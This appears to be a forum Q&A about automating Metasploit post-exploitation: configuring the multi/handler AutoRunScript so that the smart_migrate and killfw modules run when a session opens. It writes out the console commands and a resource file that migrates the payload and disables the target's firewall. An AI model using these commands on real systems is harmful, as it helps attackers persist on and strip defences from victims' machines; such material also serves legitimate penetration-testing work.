After reading through a couple of webpages referring to metasploit I stumbled upon a post referring to the auto execution of metasploit modules upon the receiving of a shell. Namely the post exploitation module, smart-migrate.

Is there anyway that I could change any config files so that this happens?

Thanks for all your help!!!


The handler has an AutoRunScript option which specifies what happens when a session is received. You can give it the multi_console_command script which will be able to execute multiple post modules and meterpreter scripts upon receiving session.

For example, in order to run the smart_migrate and killfw post modules:

msf > use exploit/multi/handler
msf (handler) > set AutoRunScript multi_console_command -rc /root/mycommands.rb

The contents of /root/mycommands.rb include:

root@kali# cat /root/mycommands.rb
run post/windows/manage/smart_migrate
run post/windows/manage/killfw

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.